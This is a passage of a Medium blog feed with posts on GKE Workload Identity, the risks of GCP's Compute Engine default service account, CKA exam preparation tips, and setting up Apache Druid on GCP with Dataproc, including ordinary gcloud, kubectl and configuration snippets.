            <guid isPermaLink="false">https://medium.com/p/f880f4e74e8c</guid>
            <category><![CDATA[google-cloud-platform]]></category>
            <category><![CDATA[cicd]]></category>
            <category><![CDATA[gcp]]></category>
            <category><![CDATA[devops]]></category>
            <category><![CDATA[kubernetes]]></category>
            <dc:creator><![CDATA[Kannan Anandakrishnan]]></dc:creator>
            <pubDate>Tue, 20 Jul 2021 09:25:04 GMT</pubDate>
            <atom:updated>2021-09-13T17:11:24.983Z</atom:updated>
            <content:encoded><![CDATA[<h3>GKE Workload Identity: A Secure Way for GKE Applications to Access GCP Services</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*fEgfCBnJrc3s6Q_8" /><figcaption>Photo by <a href="https://unsplash.com/@will_myers?utm_source=medium&amp;utm_medium=referral">Will Myers</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><p>At<a href="http://zeotap.com/"> Zeotap</a>, we run our infrastructure in Google Cloud Platform. We have a CI/CD process in place and all our micro-services are deployed in Google Kubernetes Engine.</p><p>Many of our microservices communicate with GCP services such as GCS buckets, Bigquery, etc and they need a way to authenticate themselves to Google cloud.</p><p>By default, GKE uses the service account attached to the underlying node pools and by default, the nodes in the node pools use compute engine default service account. We can override this option by specifying the custom service account during the cluster creation process.</p><p>The compute engine default service account has editor access to the projects, so initially it looked like a no-brainer. However, it was carrying a wide variety of security issues and we decided not to continue with that. (For more context, read <a href="https://medium.com/zeotap-customer-intelligence-unleashed/perils-of-gcps-compute-engine-default-service-account-fd7db2a3244b"><strong>Perils of GCP’s Compute Engine default service account</strong></a><strong>).</strong></p><h3><strong>Authenticating to Google Cloud with service accounts</strong></h3><p>As GCP recommended, We used the standard approach of using service accounts to authenticate to Google cloud.</p><ul><li>Create service accounts for each application that access GCP services</li><li>Generate a json key for the service account</li><li>Add the json key as a secret to the cluster</li><li>Mount the secret as a volume to the application container</li><li>Set the GOOGLE_APPLICATION_CREDENTIALS environment variable to point to the key file in the secret volume mount</li></ul><pre># deployment.yaml</pre><pre>spec:<br>      containers:<br>      - name: $NAME<br>        image: $IMAGE<br>        volumeMounts:<br>          - name: google-secrets<br>            mountPath: /opt/google-secrets<br>        env:<br>          - name: GOOGLE_APPLICATION_CREDENTIALS<br>            value: /opt/google-secrets/$SECRET_NAME.json<br>      volumes:<br>        - name: google-secrets<br>          secret:<br>            secretName: $SECRET_NAME</pre><pre>spec:<br>      containers:<br>      - name: $NAME<br>        image: $IMAGE<br>        volumeMounts:<br>          - name: google-secrets<br>            mountPath: /opt/google-secrets<br>        env:<br>          - name: GOOGLE_APPLICATION_CREDENTIALS<br>            value: /opt/google-secrets/$SECRET_NAME.json<br>      volumes:<br>        - name: google-secrets<br>          secret:<br>            secretName: $SECRET_NAME</pre><h3>Security concerns in using service account key</h3><p>There are many problems with this approach of using service accounts directly to authenticate to the Google Cloud.</p><ul><li><strong>Not so secret</strong>: Service account (GSA) json keys are critical identity. It contains a ssh key-pair which has a validity of 10 years. Even though this is mounted as a secret, this key is not encrypted and available as a plaintext inside the pod/container. Anybody that can login to the pod/container can read the credentials.</li><li><strong>Anyone can wreak havoc</strong>: Anybody that has access to the keys can wreak havoc to the system and we can’t identify who is the user behind the service account keys, as only service account information will appear in the logs.</li><li><strong>Not bound by organisation</strong>: People who have hold of these keys can use them even after they leave the company. Given this is a ssh key pair, there is no IAM access control on who can use this. This leads to potential backdoor access to the infrastructure.</li><li><strong>Key rotation/management headache</strong>: As a best practice, we have to rotate the service account json keys periodically. Rotating the json key is not a straightforward activity. We have to generate a new key in IAM, add the key to the cluster as a secret, redeploy the app. This is a manual task, and using more keys results in more tasks.</li><li><strong>Application downtime</strong>: When we rotate the keys, we have to redeploy the application with new keys every single time. This causes application downtime.</li></ul><p>So, using service account json keys in the GKE is a cumbersome one and always carries a security risk and operational management overhead.</p><h3>GKE Workload Identity</h3><p>In 2020,Google announced Workload Identity(GA) feature which solves all the problems listed above.</p><p>With Workload Identity, we can configure a<a href="https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/"> Kubernetes service account</a> to act as a<a href="https://cloud.google.com/iam/docs/understanding-service-accounts"> Google service account</a>. Pods running with the Kubernetes service account will automatically authenticate as the Google service account when accessing Google Cloud APIs.</p><h3><strong>1) Pre-requisites</strong></h3><p>Workload identity can be enabled on a new or an existing cluster.</p><p><strong>Enable workload identity on an existing cluster</strong></p><p>For existing clusters, there are 2 steps:</p><ol><li>Enable the workload metadata property on the cluster level</li></ol><p>2. Create a new node pool and migrate the running apps to the new node pool</p><p><em>or</em></p><p>Update the workload metadata property in the existing node pool itself.</p><p><strong>Step 1: </strong>To enable Workload Identity on an existing cluster, execute the following command:</p><pre>gcloud container clusters update cluster-name \<br>--workload-pool=project-id.svc.id.goog</pre><p>This command will update the following property of the cluster:</p><p>— workload-metadata=GKE_METADATA</p><p>Existing node pools are unaffected; new node pools default to this property.</p><p><strong>Step 2:</strong></p><p>Create a new node pool:</p><pre>gcloud container node-pools create NODEPOOL_NAME \<br>  --cluster=CLUSTER_NAME</pre><p><em>or</em></p><p>Modify existing node pool to use workload identity:</p><pre>gcloud container node-pools update NODEPOOL_NAME \<br>--cluster=cluster-name \<br>--workload-metadata=GKE_METADATA</pre><p>Now all the apps will be communicating with GKE metadata server.</p><p><strong>Enable workload identity on a new cluster</strong></p><pre>gcloud container clusters create CLUSTER_NAME \<br>  --workload-pool=PROJECT_ID.svc.id.goog </pre><p>We can also enable this option in GCP console.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*K7FcZYByGLceZcDODpjteQ.png" /></figure><h3>2) Create the Google Service Account and Kubernetes Service account</h3><p>After we create the GSA with required IAM access, we can use a new manifest file to create the kubernetes service account (KSA).</p><p>In the annotation, we are specifying the GSA to be acted upon by the KSA.</p><pre># serviceAccount.yaml</pre><pre>apiVersion: v1<br>kind: ServiceAccount<br>metadata:<br>  annotations:<br>    iam.gke.io/gcp-service-account: $GSA-NAME@PROJECT-ID.iam.gserviceaccount.com<br>  name: $APPNAME<br>  namespace: $NAMESPACE</pre><p>Update our deployment.yaml container spec with the KSA information. This tells the pod to use the KSA.</p><pre># deployment.yaml</pre><pre>spec:<br>      containers:<br>      - name: $NAME<br>        image: $IMAGE<br>        serviceAccountName: $KSA-NAME</pre><h3>3) Create KSA — GSA Binding</h3><p>Create a IAM policy binding which grants KSA ‘iam.workloadIdentityUser’ role to the GSA.</p><pre>gcloud iam service-accounts add-iam-policy-binding \<br>  --role roles/iam.workloadIdentityUser \<br>  --member &quot;serviceAccount:PROJECT-ID.svc.id.goog[$NAMESPACE/$KSA-NAME]&quot; \<br>  $GSA-NAME@PROJECT-ID.iam.gserviceaccount.com</pre><blockquote>Please ensure that the GSA has required IAM permissions to the resources accessed by our application.</blockquote><h3><strong>4) Deploy the application</strong></h3><p>Once the binding is done, we can deploy the application in GKE.</p><p>Although we can use a KSA for multiple applications, it’s better to maintain a separate KSA-GSA for each application (that requires GCP access) for identification and access control.</p><h3><strong>Summary</strong></h3><p>As we seen, GKE Workload identity removes the management overhead of storing, rotating service account keys. With no keys involved, this also prevents individuals from gaining access to the system and possible backdoor entry.</p><p>This is a safe, secure, clean approach for GKE apps to access GCP services.</p><p><strong>Co-Author:</strong></p><p>Sajan is a Senior Devops Engineer at Zeotap. He is one of the key players in building CICD pipelines in Zeotap. He can be reached on his <a href="https://www.linkedin.com/in/sajan-k-427b8a134/">Linkedin</a> profile.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f880f4e74e8c" width="1" height="1" alt=""><hr><p><a href="https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c">GKE Workload Identity — A secure way for GKE applications to access GCP services</a> was originally published in <a href="https://medium.com/zeotap-customer-intelligence-unleashed">Zeotap — Customer Intelligence Unleashed</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Perils of GCP’s Compute Engine default service account]]></title>
            <link>https://medium.com/zeotap-customer-intelligence-unleashed/perils-of-gcps-compute-engine-default-service-account-fd7db2a3244b?source=rss-d3b17016a1ae------2</link>
            <guid isPermaLink="false">https://medium.com/p/fd7db2a3244b</guid>
            <category><![CDATA[cloud-computing]]></category>
            <category><![CDATA[google-cloud-platform]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[devops]]></category>
            <category><![CDATA[gcp]]></category>
            <dc:creator><![CDATA[Kannan Anandakrishnan]]></dc:creator>
            <pubDate>Mon, 30 Nov 2020 14:24:38 GMT</pubDate>
            <atom:updated>2020-11-30T14:31:02.254Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*dC8UbUVjQVJWtHpx" /></figure><p>In GCP, a service account is an identity that can be used by services and applications running on our compute Engine instance to interact with other Google Cloud APIs.</p><p>For example, if our application (deployed on an instance) reads and writes files on Cloud Storage (GCS), it must first authenticate to the Cloud Storage API. To allow that, we can create a service account, grant Cloud storage access, add it to the instance where the application would be running.</p><p>We can either generate a json key for the service account and pass it explicitly as ‘GOOGLE_APPLICATION_CREDENTIALS’ to the application environment or let the application query the instance metadata server, get the details of the service account added to the instance and authenticate to Cloud storage API using it.</p><p>Two types of service accounts are available to Compute Engine instances:</p><ul><li>Custom/User-managed service account</li><li>Google-managed service account</li></ul><p>User-managed service accounts include</p><ul><li>new service accounts that we explicitly create — created and managed by us</li><li>the <strong>Compute Engine default service account — </strong>created by Google when we enable compute engine api in the project but the permissions are managed by us</li></ul><p>In this post, we are going to look at ‘compute engine default service account’ pertaining to compute instances and why it is not so good practice to use it in our environments.</p><h3>Compute Engine default service account</h3><p>When we enable the compute engine API in a new project, Google creates the Compute Engine default service account and adds it to our project automatically</p><p>It goes by the following email:</p><pre>PROJECT_NUMBER-compute@developer.gserviceaccount.com</pre><p>As per google documentation,</p><blockquote>The Compute Engine default service account is created with the IAM project editor role, but you can modify the service account’s roles to securely limit which Google APIs the service account can access.</blockquote><p>So google automatically creates this service account and grants project editor role (Primitive role). When we create a compute instance via console or command line, this service account is added by default to the instance.</p><p>This is where the problem starts.</p><h3><strong>No Least Privilege Principle</strong></h3><p>“Least Privilege Principle” — favorite words of every Infrastructure/Cybersecurity manager.</p><p>According to Saltzer and Schroeder in “Basic Principles of Information Protection” :</p><blockquote><em>Least privilege: Every program and every user of the system should operate using the least set of privileges necessary to complete the job. Primarily, this principle limits the damage that can result from an accident or error.</em></blockquote><p>According to Bishop in “Design Principles,” Section 13.2.1, “Principle of Least Privilege,”</p><blockquote><em>The Principle of Least Privilege states that a subject should be given only those privileges needed for it to complete its task.</em></blockquote><blockquote><em>If a subject does not need an access right, the subject should not have that right.</em></blockquote><p>Granting Editor role to a service account by default completely goes against the least privilege principle. Our application running on the instance can access all the services it doesn’t need access. It can access Cloud Storage, Bigquery, create/delete most of the services.</p><p>In “Understanding Roles” documentation, Google themselves caution not to grant Basic/Primitive roles unless there is no alternative. Yet in all the projects, this default compute engine service account is created with Editor roles.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SG8dXuJXoKq8veAfmZIsCQ.png" /></figure><h3><strong>Difficult to implement access control</strong></h3><p>On foresight, this looks like a convenient/no operations overhead option.</p><p>We create an instance, it has a default compute engine service account, application running on the instance needs to access GCP services, Editor role grants all the privileged permissions to the service account, so our application seamlessly access the services it requires, no friction, no access denied errors, all fine!</p><p>Then we create multiple instances, all of them would be using Compute Engine default service account, so applications running in each instance can access all the services.</p><p>Since all the instances are using a single service account, it will become very difficult to implement access control here. If we try to modify/downgrade the permissions of the service account, it will affect all the running instances. To change/remove the service account from an instance, we have to stop the instance which will cause a downtime for our application.</p><h3><strong>Not just VM instances we create</strong></h3><p>When we talk in the context of compute engine, it usually appears to be the VM instances we create under compute engine section.</p><p>However there are many GCP services use compute engine for their operations. Mainly services such as Dataproc, Google Kubernetes Engine (GKE), Dataflow use compute instances.</p><p>So when we create a dataproc cluster without explicitly passing a service account, it would be created with the Compute Engine default service account. All the primary (Master, Worker) and secondary (Pre-emptible) nodes will be using Compute Engine default service account.</p><p>GKE node pools also use Compute Engine default service account, when no service account is explicitly provided. As ‘GCE metadata’ is enabled by default in GKE, it exposes the compute metadata to pods. So even a simple ‘hello world’ application runs in GKE can access all GCP services as per ‘Editor’ role permissions.</p><h3>Maximum blast radius</h3><p>One of the key pillars of cloud security is ‘minimising the blast radius’ ,</p><p>Blast radius in cloud means if there was an explosion in the system (rogue application, intruder, human errors) how far the damage can extend. As per well architected framework, it is recommended to design the systems to minimise the blast radius.</p><p>If an intruder gets into our instance or application which is using compute engine default service account, he/she would get access to all the GCP services in the project. So the blast radius is maximised in this case.</p><h3><strong>Best practice</strong></h3><p>Now we have seen how Compute Engine default service account causes so many operational, management, security issues and this is something we don’t want to deal with in our production environment after going live.</p><p>So what’s the solution to avoid running into these issues? Custom service account.</p><p>All of the GCP services (that use compute engine) support using custom service account — so for each resource we can create a separate custom service account, explicitly provide it during the creation of resources and grant access as required.</p><p>At <a href="https://www.linkedin.com/company/zeotap/">Zeotap</a>, we follow the practice of creating a dedicated custom service account for each instance (optional), dataproc clusters, and GKE clusters — name as same as the resource name. In addition, we use another custom service account for each application in GKE(if the pod access GCP services) and grant required access. This way pods also have restricted access to GCP services.</p><p>Although it seems complicated to manage individual service accounts for each resource, this will be super useful in the long run. With GCP’s IAM recommender, we will also get to know the permissions that are not used by the service account and can remove/modify it accordingly.</p><h3>Summary</h3><p>Compute Engine default service account is so convenient to use as it gives access to everything, so we don’t have to worry about access part. But in terms of security, access control, least privilege principle — it will cause so much of problems. Using the custom service account will solve these problems, it may not be a convenient option but it’s the right option in terms of best practices.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fd7db2a3244b" width="1" height="1" alt=""><hr><p><a href="https://medium.com/zeotap-customer-intelligence-unleashed/perils-of-gcps-compute-engine-default-service-account-fd7db2a3244b">Perils of GCP’s Compute Engine default service account</a> was originally published in <a href="https://medium.com/zeotap-customer-intelligence-unleashed">Zeotap — Customer Intelligence Unleashed</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I passed CKA — Certified Kubernetes Administrator exam]]></title>
            <link>https://medium.com/@kannan_ak/how-i-passed-cka-certified-kubernetes-administrator-exam-d8b66fd4db8a?source=rss-d3b17016a1ae------2</link>
            <guid isPermaLink="false">https://medium.com/p/d8b66fd4db8a</guid>
            <category><![CDATA[google-cloud]]></category>
            <category><![CDATA[devops]]></category>
            <category><![CDATA[kubernetes]]></category>
            <category><![CDATA[gke]]></category>
            <category><![CDATA[cka]]></category>
            <dc:creator><![CDATA[Kannan Anandakrishnan]]></dc:creator>
            <pubDate>Sun, 21 Jun 2020 07:39:44 GMT</pubDate>
            <atom:updated>2020-06-21T07:39:44.831Z</atom:updated>
            <content:encoded><![CDATA[<h3>How I passed CKA — Certified Kubernetes Administrator exam</h3><p>I recently took the CKA exam and passed it with 94%. In this post, I’ll explain how I prepared for the exam and study tips.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*00E03OEKdQMfKUUYsUjRIA.png" /></figure><p><strong>Work experience:</strong></p><p>At zeotap, we use GKE (Google Kubernetes Engine) for deploying, managing our microservices applications. Since our infrastructure is in Google Cloud, it is a no brainer to go with GKE. GKE being a managed service, saved us a lot of operational burden. We only have to focus on the deployment of our applications, deployment strategies, storage etc. This gave me a good understanding on the core concepts of deployment — Pods, Deployments, DaemonSet, ReplicaSet, Services, Ingress, Deployment strategies etc.</p><h4><strong>Online Courses:</strong></h4><ol><li><strong>Coursera’s</strong> <a href="https://www.coursera.org/specializations/architecting-google-kubernetes-engine">Architecting with Google Kubernetes Engine Specialization</a></li></ol><p>Though this is a comprehensive course about the GKE, it will give you a good understanding of Kubernetes in terms of developer perspective.</p><p>2. <strong>Kodekloud ‘s</strong>—<a href="https://kodekloud.com/p/certified-kubernetes-administrator-with-practice-tests"> CKA with Practice Tests</a></p><p>I used this course solely for the exam preparation. With practice tests, mock tests, and hands on lab after each lecture, this course is an one stop shop for the exam.</p><p>Apart from this courses, I built a Kubernetes cluster from scratch following Kesley Hightower’s “<a href="https://github.com/kelseyhightower/kubernetes-the-hard-way">Kubernetes the Hard Way</a>”</p><p><strong>Exam format:</strong></p><p>The exam is designed beautifully to test our competence in a hands-on, command-line environment. You will be given 24 scenario questions and expected to solve in the running cluster.</p><p><strong>Exam tips:</strong></p><ol><li>Create aliases for kubectl commands</li></ol><p>Since you will be using ‘kubectl’ commands throughout the exam in command line, it would save you a lot of time when you create aliases at the beginning itself.</p><blockquote>alias k=’kubectl’</blockquote><blockquote>alias kgp=’kubectl get pods’</blockquote><blockquote>alias kgn=’kubectl get nodes’</blockquote><blockquote>alias kgp=’kubectl describe pod’</blockquote><blockquote>alias krun=’kubectl run — generator=run-pod/v1 nginx-pod — image=nginx:alpine’</blockquote><p>2. Core concepts</p><p>Practice how to create</p><ul><li>a pod</li><li>multiple containers in a single pod</li><li>pod with init containers</li><li>deployments with multiple replicas, rollback a deployment</li><li>daemonsets</li><li>static pods</li><li>a service, expose a pod/deployment as a service</li><li>namespaces</li></ul><p>3. Control plane/Node components</p><p>Understand the roles and functions of control plane components, node components in a kubernetes cluster.</p><p>For some of the questions, you have to know all the pieces involved to debug and troubleshoot.</p><p>For ex, if the pod is not getting scheduled even though nodes are available, then there could be an issue with kube-scheduler service.</p><p>If the kubectl commands are not working, then there could be an issue with kube-apiserver.</p><p>4. Storage and environmental variables</p><p>Understand how storage is being used in Kubernetes as Physical Volume, Physical Volume Claim. Different ways to pass the environmental variables to the application — from literal, via volume mount, configs, secrets etc.</p><p>5. Cluster upgrade/backup</p><p>Practice upgrading a cluster using kubeadm command. Backup and restore etcd. Add/remove a new nodes to the cluster.</p><p>6. Troubleshooting Failures</p><p>Failures can be caused by control planes, nodes, applications, or incorrect configurations. Make use of kubectl logs, /var/log/, docker logs to identify the failure and fix it accordingly.</p><p>I hope you find this post useful. Feel free to share your questions, comments and feedback.</p><p>Connect with me on linkedin — <a href="https://www.linkedin.com/in/kannan-ak/">https://www.linkedin.com/in/kannan-ak/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d8b66fd4db8a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Apache Druid Production Setup in Google Cloud Platform with Dataproc cluster — Part 1]]></title>
            <link>https://medium.com/zeotap-customer-intelligence-unleashed/apache-druid-production-setup-in-google-cloud-platform-with-dataproc-cluster-part-1-958297374403?source=rss-d3b17016a1ae------2</link>
            <guid isPermaLink="false">https://medium.com/p/958297374403</guid>
            <category><![CDATA[dataproc]]></category>
            <category><![CDATA[google-cloud-platform]]></category>
            <category><![CDATA[druid]]></category>
            <category><![CDATA[gcp]]></category>
            <dc:creator><![CDATA[Kannan Anandakrishnan]]></dc:creator>
            <pubDate>Wed, 19 Feb 2020 19:52:36 GMT</pubDate>
            <atom:updated>2020-02-19T19:52:36.237Z</atom:updated>
            <content:encoded><![CDATA[<h3>Apache Druid Production Setup in Google Cloud Platform with Dataproc cluster — Part 1</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*LZn2W960Om5pDwf-" /><figcaption>Source: <a href="https://unsplash.com/photos/MnHQMzC6n-o">https://unsplash.com/photos/MnHQMzC6n-o</a></figcaption></figure><p>Apache Druid (incubating) is a real-time analytics database designed for fast slice-and-dice analytics (“<a href="http://en.wikipedia.org/wiki/Online_analytical_processing">OLAP</a>” queries) on large data sets. Druid is most often used as a database for powering use cases where real-time ingest, fast query performance, and high uptime are important.</p><p>To know about how druid is being used in <a href="http://zeotap.com/">zeotap</a>, please refer this blog from Imply. <a href="https://imply.io/post/apache-druid-helps-zeotap-master-multi-channel-attribution">https://imply.io/post/apache-druid-helps-zeotap-master-multi-channel-attribution</a></p><p>In this two part series, we will demonstrate how to setup Apache Druid Production setup in Google Cloud Platform and migrate druid segments from AWS to GCP.</p><p>In Part 1, let’s see how to install and configure Apache Druid in GCP.</p><h3><strong>Infra Requirements</strong>:</h3><p>1. GCE instances (4) for Druid</p><ul><li>1 for broker and router (n2-standard-8)</li><li>1 for coordinator and overlord (n2-standard-8)</li><li>2 for historical and middlemanager (n2-standard-32)</li></ul><p>2. CloudSql instance (PgSql/MySql) for Metadata storage</p><p>3. GCE instance with Zookeeper installed</p><p>4. GCS bucket for Deep Storage</p><p>5. Dataproc Cluster</p><h3><strong>Architecture:</strong></h3><p>Druid has a multi-process, distributed architecture making it easy to operate and each process can be configured and scaled independently.</p><p>For the ease of deployment, Druid organizes processes into following types.</p><p><strong>Master: </strong>Coordinator and Overlord</p><p><strong>Query: </strong>Broker and Router</p><p><strong>Data: </strong>Historical and Middlemanager</p><p>In addition to these processes, druid also has external dependencies.</p><ul><li>Deep Storage</li><li>Metadata Storage</li><li>Zookeeper</li><li>Hadoop Cluster</li></ul><p>These dependencies information are configured in the common.runtime.properties file.</p><h3><strong>Installation:</strong></h3><p>Download the druid binary from apache website and extract in all 4 machines. In this example, I’m using druid-0.14.1-incubating version.</p><pre># Druid<br>$ wget<a href="https://archive.apache.org/dist/incubator/druid/0.14.1-incubating/apache-druid-0.14.1-incubating-bin.tar.gz"> https://archive.apache.org/dist/incubator/druid/0.14.1-incubating/apache-druid-0.14.1-incubating-bin.tar.gz</a></pre><pre>$ sudo tar -xvf apache-druid-0.14.1-incubating-bin.tar.gz</pre><pre>$ sudo mv apache-druid-0.14.1-incubating /opt/</pre><pre>$ sudo ln -sfn /opt/apache-druid-0.14.1-incubating /opt/druid</pre><h3>Configuration:</h3><p><strong>Deep Storage:</strong></p><p>Druid doesn’t have inbuilt storage mechanism, so we have to configure a deep storage where druid will store the segments.</p><p>Deep storage can be a local filesystem, nfs, HDFS, S3, GCS, Azure Blob store.</p><p>In this setup, we are going to use GCS as our deep storage.</p><pre># Deep storage — gcs<br>druid.storage.type=google<br>druid.google.bucket=$BUCKET<br>druid.google.prefix=druid/segments</pre><pre># Indexing job logs<br>druid.indexer.logs.type=google<br>druid.indexer.logs.bucket=$BUCKET<br>druid.indexer.logs.prefix=druid/indexing-logs<br></pre><p>Druid google extensions jars are required to use GCS as deep storage. You can pull dependencies from the<a href="https://mvnrepository.com/artifact/org.apache.druid.extensions.contrib/druid-google-extensions"> apache maven repository</a> for respective versions.</p><pre>$ sudo java -cp “/opt/druid/lib/*” -Ddruid.extensions.directory=”/opt/druid/extensions” -Ddruid.extensions.hadoopDependenciesDir=”/opt/druid/hadoop-dependencies” org.apache.druid.cli.Main tools pull-deps — no-default-hadoop -c “org.apache.druid.extensions.contrib:druid-google-extensions:0.14.1-incubating”</pre><p><strong>Metadata storage:</strong></p><p>Druid uses it to store various metadata about the system, such as tasks history, datasource schemas etc.</p><p>It is recommended to use Mysql or Postgresql in production setup.</p><pre># Metadata storage — PostgreSQL</pre><pre>druid.metadata.storage.type=postgresql</pre><pre>druid.metadata.storage.connector.connectURI=jdbc:postgresql://$DB_HOST:5432/$DBName</pre><pre>druid.metadata.storage.connector.user=$DBUSER</pre><pre>druid.metadata.storage.connector.password=$DBPASSWORD</pre><p><strong>Zookeeper:</strong></p><p>Apache Druid uses<a href="http://zookeeper.apache.org/"> Apache ZooKeeper</a> (ZK) for the management of current cluster state. The operations that happen over ZK are</p><ol><li>Coordinator, Overlord leader election</li><li>Overlord and MiddleManager task management</li></ol><p>It’s recommended to have a separate Zookeeper cluster in the production setup. For development purposes, we can install Zookeeper in one of the druid nodes.</p><pre># Zookeeper<br>druid.zk.service.host=$ZKHOST<br>druid.zk.paths.base=/$PATH<br>druid.discovery.curator.path=/$PATH/discovery</pre><p><strong>Dataproc Cluster:</strong></p><p>All data in Druid is organized into <em>segments</em>. Loading data in Druid is called <em>ingestion</em> or <em>indexing</em> and consists of reading data from a source system and creating segments based on that data, store it in deep storage.</p><p>Google Cloud provides Dataproc, fully managed cloud service for running Apache Spark and Apache Hadoop clusters.</p><p>In this setup, we are going to configure Druid to run Hadoop Batch ingestion on the Dataproc cluster.</p><p><strong>Hadoop and Google extensions jar</strong></p><p>hadoop-client:2.8.3 is the default version of the Hadoop client bundled with Druid. This works with many Hadoop distributions, but if you run into issues, you can instead have Druid load libraries that exactly match your distribution.</p><p>Our jobs have dependency on hadoop-client:2.7.3, so I’m pulling jars for that version.</p><pre>$ sudo java -cp “/opt/druid/lib/*” -Ddruid.extensions.directory=”/opt/druid/extensions” -Ddruid.extensions.hadoopDependenciesDir=”/opt/druid/hadoop-dependencies” org.apache.druid.cli.Main tools pull-deps — no-default-hadoop -h “org.apache.hadoop:hadoop-client:2.7.3”</pre><p><strong>Cloud storage connector jar</strong></p><p>This is required as the batch ingestion job will run on dataproc clusters and dataproc needs to access GCS to store the segments.</p><pre>$ wget<a href="https://storage.googleapis.com/hadoop-lib/gcs/gcs-connector-hadoop2-latest.jar"> https://storage.googleapis.com/hadoop-lib/gcs/gcs-connector-hadoop2-latest.jar</a></pre><pre>$ cp gcs-connector-hadoop2-latest.jar /opt/druid/lib/</pre><p><strong>Place Hadoop XMLs on Druid classpath</strong></p><p>To run the hadoop based ingestion, we have to copy the xml files from /etc/hadoop/conf in the Dataproc cluster and place it under /opt/druid/conf/druid/_common/ directory in druid machines.</p><p>This allows Druid to find the dataproc hadoop cluster and submit ingestion jobs.</p><h4>Common.runtime.properties</h4><p>This is an important piece of our setup as all the external dependencies such as Deep Storage, Metadata storage, Zookeeper information are provided here.</p><p>Let’s add all the dependencies properties we have seen so far.</p><pre># Extensions to be loaded<br>druid.extensions.loadList=[“druid-histogram”, “druid-datasketches”, “druid-lookups-cached-global”, “druid-google-extensions”, “druid-avro-extensions”, “postgresql-metadata-storage”]</pre><pre># Extensions dir and hadoop dependencies dir<br>druid.extensions.directory=/opt/druid/extensions<br>druid.extensions.hadoopDependenciesDir=/opt/druid/hadoop-dependencies</pre><pre># Zookeeper<br>druid.zk.service.host=$ZKHOST<br>druid.zk.paths.base=/$PATH<br>druid.discovery.curator.path=/$PATH/discovery</pre><pre># Metadata storage — PostgreSQL<br>druid.metadata.storage.type=postgresql<br>druid.metadata.storage.connector.connectURI=jdbc:postgresql://$DB_HOST:5432/$DBName<br>druid.metadata.storage.connector.user=$DBUSER<br>druid.metadata.storage.connector.password=$DBPASSWORD</pre><pre># Deep storage — gcs<br>druid.storage.type=google<br>druid.google.bucket=$BUCKET<br>druid.google.prefix=druid/segments</pre><pre># Indexing service logs — gcs<br>druid.indexer.logs.type=google<br>druid.indexer.logs.bucket=$BUCKET<br>druid.indexer.logs.prefix=druid/indexing-logs</pre><pre># Service discovery<br>druid.selectors.indexing.serviceName=druid/overlord<br>druid.selectors.coordinator.serviceName=druid/coordinator</pre><p>Once the configuration is done, we are good to start the druid processes in the respective instances.</p><pre>sudo /opt/druid/bin/broker.sh start<br>sudo /opt/druid/bin/router.sh start<br>sudo /opt/druid/bin/overlord.sh start<br>sudo /opt/druid/bin/coordinator.sh start<br>sudo /opt/druid/bin/historical.sh start<br>sudo /opt/druid/bin/middleManager.sh start</pre><h3>Common issues</h3><ol><li>Hadoop dependency [/opt/druid/hadoop-dependencies/hadoop-client/2.7.3] didn’t exist!?</li></ol><p><strong>Error:</strong></p><pre>org.apache.druid.java.util.common.ISE: Hadoop dependency [/opt/druid/hadoop-dependencies/hadoop-client/2.7.3] didn’t exist!?at org.apache.druid.initialization.Initialization.getHadoopDependencyFilesToLoad(Initialization.java:281) ~[druid-server-0.14.0-incubating.jar:0.14.0-incubating]</pre><p><strong>Solution:</strong></p><p>This indicates that the job has the dependency of hadoop-client 2.7.3 which is not available under the druid.extensions.hadoopDependenciesDir</p><p>Add the dependencies to druid class path</p><pre>sudo java -cp “/opt/druid/lib/*” -Ddruid.extensions.directory=”/opt/druid/extensions” -Ddruid.extensions.hadoopDependenciesDir=”/opt/druid/hadoop-dependencies” org.apache.druid.cli.Main tools pull-deps — no-default-hadoop -h “org.apache.hadoop:hadoop-client:2.7.3”</pre><p>2) gcs.GoogleHadoopFileSystem not found</p><p><strong>Error:</strong></p><pre>java.lang.RuntimeException: java.lang.ClassNotFoundException: Class com.google.cloud.hadoop.fs.gcs.GoogleHadoopFileSystem not found at org.apache.hadoop.conf.Configuration.getClass(Configuration.java:2195) ~[?:?]at org.apache.hadoop.fs.FileSystem.getFileSystemClass(FileSystem.java:2654) ~[?:?] at org.apache.hadoop.fs.FileSystem.createFileSystem(FileSystem.java:2667) ~[?:?]at org.apache.hadoop.fs.FileSystem.access$200(FileSystem.java:94) ~[?:?]at org.apache.hadoop.fs.FileSystem$Cache.getInternal(FileSystem.java:2703) ~[?:?]</pre><p><strong>Solution:</strong></p><p>This indicates that the dataproc cluster can’t access the GCS. Copy the gcs-hadoop-connector jar to druid lib path and restart the druid services.</p><p>cp gcs-connector-hadoop2-latest.jar /opt/druid/lib/</p><p>3) Unknown provider google</p><p><strong>Error:</strong></p><pre>Unknown provider[google] of Key[type=org.apache.druid.segment.loading.DataSegmentPusher, annotation=[none]], known options[[local]]</pre><p><strong>Solution:</strong></p><p>This error says that for “DataSegmentPusher class” which pushes segments on GCS is able to find only “local” as a config option. Means it can only push the data to local disk. This is an indication that google druid extension is not loaded or configured correctly or there is an issue with the extension itself.</p><p>Verify the jars under druid-google-extensions folder. Ensure the jars are not corrupt and matches the version of 